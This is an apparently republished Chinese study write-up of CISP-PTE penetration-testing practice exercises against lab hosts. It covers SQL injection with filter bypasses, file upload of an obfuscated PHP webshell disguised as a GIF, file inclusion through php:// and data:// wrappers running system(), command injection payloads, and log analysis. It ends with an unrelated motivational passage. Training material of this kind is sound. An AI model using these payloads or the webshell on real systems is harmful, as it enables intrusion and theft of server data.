CISP-PTE学习总结之基础练习题
Posted 星球守护者
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CISP-PTE学习总结之基础练习题相关的知识,希望对你有一定的参考价值。
文章目录
0x01 基础题目之SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中。
开始答题!
解题过程
第一步 通过闭合id,确定注入点
id=1)' 回显异常
id=1)'' 回显正常
id=1)%27%27)
第三步 判断页面回显的字段数,进行注释、双写绕过
发现空格被过滤
id=1') group by 5%23
使用/**/代替空格
id=1%27)/**/order/**/by/**/4%23 回显异常
id=1')/**/order/**/by/**/5%23 回显正常
id=1%27)/**/group/**/by/**/4%23 回显异常
id=1')/**/group/**/by/**/5%23 回显正常
第四步 通过union select 查询判断回显字段
使用union发现被过滤
id=-1%27)/**/union/**/select/**/1,2,3,4%23
双写union进行绕过:
id=-1%27)/**/ununionion/**/select/**/1,2,3,4%23
发现回显2,3,4字段
第五步 通过文件读取load_file()获取key
id=-1')/**/ununionion/**/select/**/1,2,load_file('/tmp/360/key'),4%23
id=-1%27)/**/ununionion/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23
0x02 基础题目之文件上传突破
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
通过你所学到的知识,测试其过WAF滤规则,突破上传获取webshell,答案就在根目录下key.php文件中。
请开始答题!
解题过程
第一步 上传图片,并且抓取数据包
第二步 使用后缀,图片头进行绕过
POST /vulnerabilities/fu1.php HTTP/1.1
Host: 192.168.0.222:82
Content-Length: 801
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.222:82
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryI5MEpgsFAgfBFoIp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.222:82/vulnerabilities/fu1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk0g66o9civqh4dpqh7njo3p81
Connection: close
------WebKitFormBoundaryI5MEpgsFAgfBFoIp
Content-Disposition: form-data; name="files"; filename="222.pht"
Content-Type: image/jpeg
GIF89a
<?php $DyWT=create_function(chr(0x42cc/0x1db).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').str_rot13('r'),chr(963-862).base64_decode('dg==').base64_decode('YQ==').str_rot13('y').chr(0x3598/0x157).base64_decode('JA==').chr(0577-0414).chr(01226-01047).base64_decode('bQ==').str_rot13('r').chr(18942/462).chr(24957/423));$DyWT(base64_decode('MzA2M'.'TM1O0'.'BldkF'.'sKCRf'.''.chr(0x10450/0x310).chr(01435-01330).chr(51642/906).chr(0137640/01110).str_rot13('I').''.''.base64_decode('Rg==').chr(0331214/01677).str_rot13('c').chr(52668/627).str_rot13('y').''.'NqWHd'.'aTF0p'.'OzkxO'.'DQwNT'.'s='.''));?>
------WebKitFormBoundaryI5MEpgsFAgfBFoIp--
通过测试发现,请求内容的头是否是头片格式、Php、Php3能传上去,但是无法连接成功,返回包会原样输出,无法解析成php
上传pht发现可以成功
http://192.168.0.222:82/vulnerabilities/222.pht
第三步 进行连接
<?php // 使用时请删除此行, 连接密码: iNSjXwZL ?>
<?php $DyWT=create_function(chr(0x42cc/0x1db).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').str_rot13('r'),chr(963-862).base64_decode('dg==').base64_decode('YQ==').str_rot13('y').chr(0x3598/0x157).base64_decode('JA==').chr(0577-0414).chr(01226-01047).base64_decode('bQ==').str_rot13('r').chr(18942/462).chr(24957/423));$DyWT(base64_decode('MzA2M'.'TM1O0'.'BldkF'.'sKCRf'.''.chr(0x10450/0x310).chr(01435-01330).chr(51642/906).chr(0137640/01110).str_rot13('I').''.''.base64_decode('Rg==').chr(0331214/01677).str_rot13('c').chr(52668/627).str_rot13('y').''.'NqWHd'.'aTF0p'.'OzkxO'.'DQwNT'.'s='.''));?>
分析
<?php
//黑名单验证,大小写绕过
function step1($files)
$filename = $files["name"];
$ext = substr($filename,strripos($filename,'.') + 1);
if ($ext != "php")
return true;
return false;
//验证MIME头,修改数据包绕过
function step2($files)
if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png")
return true;
return false;
//验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写
function step3($files)
$content = file_get_contents($files["tmp_name"]);
if (strpos($content, "eval") === false && strpos($content, "assert") === false )
return true;
return false;
//验证文件头
function step4($files)
$png_header = "89504e47";
$jpg_header = "ffd8FFE0";
$gif_header = "47494638";
$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 ));
if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0)
return true;
return false;
function judge($files)
if (step1($files) && step2($files) && step4($files))
return true;
return false;
?>
1、黑名单验证,可以通过大小写绕过
2、验证MIME头,,必须是type里面的(mage/gif、image/jpeg、image/png)可以修改数据包绕过
3、验证文件内容,必须是tmp_name里面的(eval、assert),可以使用其他内容,文件读写
4、验证文件头
0x03 基础题目之文件包含
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
通过你所学到的知识,测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。
请开始答题!
解题过程
第一步 发现是通过file参数,想到读取文件
第二步 PHP://filter协议读取
php://filter/read=convert.base64-encode/resource=../key.php
第三步 使用base64解码,查看key
R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+
base64解码:
Get it!
<?php
//key:6u3x9t2p
?>
第四步 data:text/plain协议读取
查看当前目录下的文件
data://text/plain,<?php print_r(scandir(".")); ?>
查看当前上级目录下的文件
data://text/plain,<?php print_r(scandir("..")); ?>
查看key.php内容
data://text/plain,<?php @eval(system('cat%20../key.php')); ?>
data://text/plain,<?php system('cat%20../key.php'); ?>
查看当前用户权限
data://text/plain,<?php system(whoami) ?>
0x04 基础题目之命令执行
命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。
通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。
请开始答题!
解题过程
第一步 构造payload
127.0.0.1 | tac ../key.php
第二步 其他payload
127.0.0.1 | less ../key.php
127.0.0.1 | m'or'e ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | v''i ../key.php
127.0.0.1 | c'a't ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | nl ../key.php
|od -c ../key.php
|xxd ../key.php
|xxd ../key.php|grep key
|grep "key" ../key.php
|sed -n '1,5p' ../key.php|grep key
0x05 基础题目之日志分析
最近管理员很苦恼,发现自己的服务器被人入侵了,但是不知道原因,你能帮帮他吗?
管理员把日志保存下来了,大概分析了一下,有两个IP对服务器进行了攻击, 感觉攻击者的IP是 172.16.12.12 。
日志下载地址:当前目录下的 access.log
请开始答题!
解题过程
第一步 下载日志文件,并且导入excel中
http://192.168.0.222:85/access.log
第二步 更具题目要求,过滤源IP,对内容进行,进行分类(便于筛选)
第三步 过滤200成功的状态码,发现请求路径/adminlogin.php
,访问
第四步 发现后台,模糊测试获取口令
http://192.168.0.222:85/adminlogin.php
admin/password123
第五步 进入后台,发现key
摘抄
待人胸怀宽广、豁达大度,是一个人具有良好修养的外在表现。
予人宽容,不仅能得到真情,更能赢得尊重。
把眼光放长远,就不会囿于眼前的小事。
少些指责、多些体谅,方能修得胸中雅量,蓄得一生顺遂。
不在一些无关紧要的事情上斤斤计较,专注于目标,才更容易获得成功。
---《宽容豁达》
以上是关于CISP-PTE学习总结之基础练习题的主要内容,如果未能解决你的问题,请参考以下文章